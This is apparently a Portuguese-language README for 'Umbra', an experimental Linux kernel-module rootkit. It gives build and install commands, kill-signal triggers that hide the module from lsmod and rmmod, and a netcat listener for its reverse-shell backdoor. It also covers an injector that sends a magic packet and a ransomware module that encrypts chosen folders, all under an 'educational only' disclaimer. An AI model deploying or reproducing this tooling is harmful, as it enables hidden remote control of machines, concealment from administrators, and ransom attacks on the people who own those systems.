
Um rootkit LKM que tem como alvo versões de kernel 4.x e 5.x, abrindo um backdoor que pode gerar um shell reverso para um host remoto, executar malware e muito mais.

Umbra é um rootkit LKM experimental controlável remotamente para kernels 4.x e 5.x (até 5.7) que abre uma backdoor de rede capaz de gerar reverse shells para hosts remotos, lançar malware remotamente e muito mais.
O rootkit ainda está em desenvolvimento, embora os recursos listados abaixo já estejam totalmente operacionais.

Nota: Este rootkit foi desenvolvido e testado usando o kernel 5.4.0 e Ubuntu 18.04.

Mais funcionalidades virão em atualizações futuras.
Este rootkit é exclusivamente para fins educacionais. Não sou responsável por qualquer dano resultante do seu uso indevido.
Tenha também em mente que o Umbra incorpora apenas mecanismos leves de ocultação e proteção. Ele não foi feito para ser usado em um cenário real.
IMPORTANTE: Se você for testar este rootkit em sua própria máquina, eu recomendo fortemente o uso de uma VM.
Sobre os Umbra Modules: O módulo ransom usa um mecanismo de criptografia trivial, mas pode e certamente irá criptografar qualquer pasta da sua máquina. Embora os arquivos possam ser facilmente descriptografados, eu definitivamente não recomendo executá-lo em sua pasta raiz ou algo semelhante, a menos que esteja em um ambiente controlado.
Lembre-se de que você deve ter um kernel 4.x ou 5.x disponível.
apt install linux-headers-$(uname -r)
Configure seu caminho de includes para cobrir o diretório dos cabeçalhos do kernel (geralmente em /usr/src). Se você estiver usando o vscode, pode verificar .vscode/c_cpp_properties.json para um exemplo de quais diretórios incluir.
Clone o projeto
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Se você já executou o script anteriormente e deseja apenas instalar o Umbra no kernel, execute:
sudo insmod ./umbra.ko
Certifique-se de que o Umbra não esteja no modo invisível; caso contrário, isso falhará.
sudo rmmod umbra
kill -50 1
Defina o IP e a porta desejados em CONFIG.H antes de compilar o rootkit. Por padrão, 127.0.0.1:5888
Comece a escutar no host remoto.
nc -lvp 5888
kill -51 1
Nota: O Umbra também tenta iniciar a reverse shell no carregamento.
Isso impedirá que o rootkit seja exibido por comandos como lsmod ou removido via rmmod.
kill -52 1
Isso reverte o modo invisível, se estiver ativo.
kill -53 1
O Umbra Injector pode ser executado antes de o Umbra ser instalado (obtendo a shell assim que ele estiver ativo) ou depois de o Umbra estar instalado no sistema alvo.
./injector -S 127.0.0.1
A backdoor escuta pacotes com o seguinte payload:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
Você também pode criar seu próprio injetor usando a minha biblioteca RawTCP.
Isso impedirá que o rootkit seja exibido por comandos como lsmod ou removido via rmmod.
./injector -i 127.0.0.1
Isso reverte o modo invisível, se estiver ativo.
./injector -u 127.0.0.1
Você pode ver todas as informações sobre como executar o Umbra Injector com:
./injector -h
Os Umbra Modules serão armazenados pelo script install.sh em /tmp/umbra, onde o Umbra os ocultará. O diretório não ficará visível para comandos como ls ou similares.
Este módulo pode lançar ataques remotos do tipo ransomware via Umbra Injector. Os arquivos criptografados aparecem com a extensão .ubr.
Atualmente, o mecanismo de criptografia é um simples NOP de nível de bit, como prova de conceito. Você pode editar o módulo para incluir seu próprio algoritmo de criptografia.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
O desenvolvimento deste rootkit envolveu uma quantidade substancial de pesquisa sobre LKMs e técnicas de rootkit. A seguir, uma lista incompleta dos recursos que usei: Como criar LKMs:
Referência de syscalls do Linux:
Algumas referências sobre rootkits:
Este projeto está licenciado sob a licença GPLv2. Veja LICENSE